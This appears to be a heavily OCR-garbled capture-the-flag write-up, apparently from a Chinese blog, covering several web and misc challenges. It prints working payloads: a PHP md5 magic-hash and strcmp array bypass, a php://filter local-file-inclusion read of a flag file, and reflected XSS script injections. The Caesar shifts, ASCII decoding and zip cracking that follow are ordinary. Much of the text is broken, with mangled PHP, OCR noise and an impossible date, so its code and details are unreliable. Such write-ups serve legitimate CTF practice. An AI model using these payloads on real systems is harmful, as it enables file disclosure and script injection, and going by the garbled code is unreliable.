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put me a message then you can get the flag
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Welcome
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* Response Headers view source
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 1256
Content-Type: text/html; charset=UTF
Date: Sat, 64 Jul 2826 14:13:28 GMT
ha: 68197365F9dff5bf}

Keep-Alive: timeout=5, max=10@
Server: Apaches2.4.29 (Ubuntu)
Vary: Accept-Encoding
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https://blog.csdn.net/qq_45628145/article/details/107131320

<?php
if(isset($ _GET[ D isset($_GET[ 1 isset($_GET[
$vl = $_GET[ 1
$v2 = $_GET[ 15
$v3 = $ GET[ 1;
if($vi $v2 md5($v1) md5($v2)){

if(!strcmp($v3, $flag)){
echo $flag;

Z#md57, payload

?v1=240610708&v2=5878926199a&v3[ ]=1
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PRRBEREH R I includel.php

* <head>.</head
¥ <body
¢!-- includel.php --»

/ body

ROJETEA —A-?file=index

D | 192.144.182.32:8001/abf20c91a442da48/2/includel.php?file=index
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error_reporting(9);
@$file = $_GET[
if(isset($file))
{
if (preg_match( , $file) strstr($file, ) FALSE strlen($file
$file

echo

}

else
{
include($file.
setcookie(
)i
)i

else

{

header(

?>

index.php
DOCTYPE html
html lang
head
meta charset
title>include</title
head
body
includel.php
body
html

KB cookie EMA ™, include2.php
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html
<?php
error_reporting(9);
$file = $ GET[ 1;
if(isset($file))
{

if ( preg_match( , $file) strstr($file, ) FALSE strlen($file)
100)

1
J

else

{
include($file.
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include2.php?file=php://filter/read=string.rotl3/resource=flag

html
head></head

body> == §8
<1--2cuc
Fsynt="synt{97np2q3112p633687n2447qo0lqpllo2}";
LEESS
/body
Shtml
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payloadfdi<fE:0

XEWEEBRE alert(/xxx/) » BB —THEERKR

RERIMBXNER. e
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payloadfi{<EE:1
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fscript
is/IE9.js"»</script><script

o =

. FRRIE N alert (Hoo ) IRA B KREHFERATRN-

br
h2 align="center" - EEHEFFIMEZAER . < /h2
¥ <center> == §@

¥ <form action="1level.php” method="GET

input name="keyword"” |value="1

input type="submit” name="submit” value="{¥#%

/form
Jcenter
h3 align="center >payloadfHcE:1</n3
br
5c;i:: src="./jsfapplication.js"></script
¢!--[if 1t IE 9]3<script src="./js/IE9.js"></scripts<script st
[endif]-->»
valueiX B." 7] Be & AT LA & 1, 4k
srL ¥ <div class="scene
iIRBHKEIF1"aallXRISR. script src="./3s/anplication. ]

€1--[if

:Eﬂdi;:--
|1 | B script sre="./js/IE6.js"»</script
payloadfE:4

e

mif. HFERINEA alert (Hooy MRA BB EHFEERERR.

br
h2 align="center »TEHFIN1 :4BER1EER . < /h2
¥ <center

¥ <form action="1level.php" method="GET

input name="keyword” value="1" aa"> == 5@
input type="submit” name="submit” value="##%FE
/form
fcenter
h3 align="center :payloadfEE:4¢/n3
br
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"><script>alert(/xxx/)</script>
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HERIAITHOphp3Z . flagiEl: flagixxxd,
http://192.144.182.32:8001/abf20c91a442da48/6/index php

hint1: E&EWindows

hint2: @& ANTFSHED

RIEEARders, BHEBEMMEEAMT, WiE/FEH php:DATARIAT
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X B2 —php

—IKIF BRI Hjpg, RAF TR, 010, H2lflag
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15 2flag

B flag.tt - 0=

MHEB HHE B0 EEN EEH
flag{592b7e16bb42d046e1e85fecb9c9ebe5}

BEA RS, XM Rrsa, GHnENREY, EREH L, XERATT

—BHE, SKiasciil

2l f=l

=37 109 115 104 110 123 108 53 55 105 57 108 49 56 105 48
56 105 109 109 48 107 48 53 104 51 106 53 57 57 48 48 105
49 48 63 63 63 125 116 107 53 58 50 57 106 49 107 107 51
104 109 53 105 105 54 57 56 108 109 107 56 49 106 104 53
105 106 49 49 55 56 108 53 109

fRazflagig=l: flaghoood,
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AEaGE A, GLRIFEE 4FT T
fCrypto rlmags rUnZip
LG BT E A A H AL . (4 AT A Et . 38)
shn{|5?i?l13iUBimmﬂkﬂ5h3j599ﬂﬂi10???”

dE R (Fipdi4at: 988)
SYIC [T JTUrn IouuouUssuguJispJgyrogorer 1.
tzou{s57p9s18p08ptt0r0503g59900p10777}
uapv {t57q9t18q08quuls05p3r59900q10777}
vbaw {us7rulBr08rvv0t0593s59900r10777]
werx [v57s9v18s08swwlu05r 3159900510727
xdsy {wS57tIw1B8t08txx0v0553u59900t10777]
vetz {x57u%x18ulBuyy0w05t3v59900ul0?77]
1
1
1
1
1
1

zfua {y57vPy18v0Bvzz0x05u3w59900v10777
agvb {z57w9z18w0Bwaaly05v3x59900w10777
bhwe {a57x%a18x08xbb0z05w3y59900x10777
cixd{b57y9b18y08ycc0al5x3z59900y10777
djye {c57z9c182z08zdd0b05y3a59900210777
ekzf [d57a9d18a0Baeelc0523b59900a10727
gmbh {f57c?T18c08cgglelsb3d59900c10777
hnci {g57d9g18d08dhh0f05c3e59900d10777}
iodj{h57e%h18e08ei i0g05d3f59900e10777}
jpek [i57f9i18F08T | jOh05e3g59900F10777}
kgf | {j57g9j18g08gkk0i05F3h59900g10777}
Irgm{k57h9k18h08h1 10j05g3i59900n10777}
shn{157i9118i08 imm0k05h3j59900i 10777}
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B sazazaatt - i0=%
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Flag is hidden somewhere. Can you find it?

flag{md5str.low})
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flag{7f138a 09169b250 e9dcb3781 .

409073787}

reserve

Z£i#010, RMR—FKFHRET WpngBfr, HIEEIA, pyll4

with ¢ 5 ) as f:

with ¢ 5 ) as g:
g.write(f.read()[::-1])
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flag{854 13+
109db1412a1
316128eddee
3cbha}

flag{4de1b95e68be64ad43d3959c7f4b0505}
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fJ.._,m zip password recovery tool

RBFH |[HENFTE
abcdefghjikimnopgrstuvwyz
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ABCDEFGHIIKLMMOPQRSTUVWYYZ
0123456739

0123456 78%bcdefghjiklmnopgrstuvwiyz
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Bl flag.bt - iE=4

%R #=E(E B0 EENV) EEH)
flag{e3dc96f2cdcaedcac72f5a6a0f00782al)
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